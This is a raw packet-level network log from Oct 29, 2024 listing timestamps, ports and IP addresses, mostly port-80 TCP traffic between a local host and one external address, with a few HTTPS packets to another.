Oct 29, 2024 15:27:22.630642891 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.630649090 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.630692005 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:22.630707026 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:22.630776882 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.630783081 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.630821943 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:22.643935919 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.643954039 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.643969059 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.643975019 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.643982887 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.644048929 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:22.644062996 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.644071102 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.644083023 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.644113064 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:22.644125938 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:22.644284964 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.644295931 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.644308090 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.644351959 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.644354105 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:22.644359112 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.644375086 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:22.644416094 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:22.690694094 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.690709114 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.690721035 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.690788031 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:22.709372044 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.709378958 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.709389925 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.709450006 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:22.709460020 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.709469080 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.709476948 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.709476948 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:22.709486008 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.709533930 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:22.709559917 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:22.709635019 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.709638119 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.709690094 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:22.709728003 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.709734917 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.709790945 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:22.709816933 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.709822893 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.709861040 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:22.709892035 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:22.710014105 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.710067987 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.710077047 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.710078001 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:22.710114956 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:22.710179090 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.710190058 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.710202932 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.710210085 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.710256100 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:22.710268974 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:22.710323095 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.710329056 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.710335016 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.710380077 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:22.710818052 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.710849047 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.710861921 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.710908890 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:22.711054087 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.711064100 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.711077929 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.711122036 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:22.711137056 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:22.711275101 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.711337090 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:22.746900082 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.746911049 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.746922970 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.746985912 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:22.747242928 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.747258902 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.747271061 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.747323990 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:22.747450113 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.747461081 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.747483969 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.747509003 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:22.747524023 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:22.747569084 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.747631073 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:22.747889996 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.747899055 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.747950077 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:22.760617018 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.760623932 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.760637045 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.760704041 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:22.761001110 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.761009932 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.761020899 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.761071920 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:22.761089087 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.761095047 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.761109114 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.761147022 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.761157036 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.761176109 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:22.761210918 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:22.761380911 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.761430025 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.761440039 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.761451960 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:22.761473894 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.761496067 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:22.761542082 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:22.807476044 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.807483912 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.807496071 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.807614088 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:22.834013939 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.834027052 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.834039927 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.834084988 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.834094048 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.834108114 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.834115028 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.834114075 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:22.834192038 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:22.834275007 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.834287882 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.834300995 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.834307909 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.834340096 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:22.834362030 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:22.834517956 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.834526062 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.834532976 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.834579945 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:22.834611893 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.834620953 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.834633112 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.834639072 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.834667921 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:22.834688902 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:22.834815979 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.834822893 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.834835052 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.834841013 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.834892988 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:22.835432053 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.835438967 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.835444927 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.835491896 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:22.835525990 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.835532904 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.835547924 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.835551977 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.835587978 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:22.835613012 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:22.863599062 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.863610029 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.863621950 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.863692045 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:22.864063978 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.864075899 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.864088058 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.864130974 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:22.864314079 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.864331007 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.864346027 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.864403963 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.864414930 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:22.864415884 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.864424944 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.864434958 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:22.864464045 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:22.877962112 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.878002882 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.878011942 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.878057957 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:22.878087997 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:22.878106117 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.878113031 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.878125906 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.878133059 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.878164053 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.878199100 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:22.878305912 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.878315926 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.878379107 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:22.878379107 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:22.878396988 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.878456116 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:22.878592968 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.878603935 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.878612995 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.878650904 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.878652096 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:22.878660917 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.878703117 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:22.914485931 CET	443	49774	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:22.915060997 CET	49774	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:22.915071964 CET	443	49774	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:22.915671110 CET	49774	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:22.915674925 CET	443	49774	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:22.961771011 CET	443	49773	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:22.962568998 CET	49773	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:22.962596893 CET	443	49773	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:22.963172913 CET	49773	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:22.963177919 CET	443	49773	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:22.964512110 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.964545012 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.964551926 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.964559078 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.964612961 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:22.964669943 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:22.964683056 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.964692116 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.964725018 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.964734077 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.964742899 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.964749098 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:22.964792967 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:22.964899063 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.964910030 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.964961052 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:22.965053082 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.965061903 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.965076923 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.965115070 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:22.965123892 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.965132952 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.965141058 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.965143919 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.965157986 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:22.965190887 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:22.965272903 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.965285063 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.965291977 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.965303898 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.965332031 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:22.965373039 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:22.965976954 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.965986967 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.965998888 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.966043949 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.966046095 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:22.966059923 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.966067076 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.966074944 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.966099024 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:22.966125011 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:22.966547012 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.966558933 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.966566086 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.966617107 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:22.990638971 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.990648985 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.990662098 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.990740061 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.990755081 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.990756989 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.990761995 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.990765095 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:22.990885973 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:22.990885973 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:22.990899086 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.990906954 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.990919113 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.990974903 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:22.998605967 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.998621941 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.998629093 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.998691082 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:22.998708010 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.998714924 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.998727083 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.998733997 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.998774052 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:22.998939037 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.998950005 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.998955965 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.998960972 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.999007940 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:22.999507904 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.999577045 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.999583960 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:22.999588013 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.999602079 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.999639034 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:22.999660969 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.999666929 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.999718904 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:23.061350107 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:23.061368942 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:23.061377048 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:23.061392069 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:23.061399937 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:23.061407089 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:23.061414003 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:23.061419964 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:23.061448097 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:23.061477900 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:23.061525106 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:23.061531067 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:23.061541080 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:23.061561108 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:23.061570883 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:23.061592102 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:23.061638117 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:23.061640978 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:23.061647892 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:23.061690092 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:23.062108994 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:23.062143087 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:23.062155962 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:23.062206030 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:23.081763983 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:23.081774950 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:23.081782103 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:23.081842899 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:23.081846952 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:23.081857920 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:23.081871986 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:23.081882954 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:23.081955910 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:23.082020044 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:23.082026005 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:23.082037926 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:23.082045078 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:23.082063913 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:23.082084894 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:23.082236052 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:23.082246065 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:23.082257986 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:23.082264900 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:23.082308054 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:23.082331896 CET	80	49742	185.215.113.206	192.168.2.6
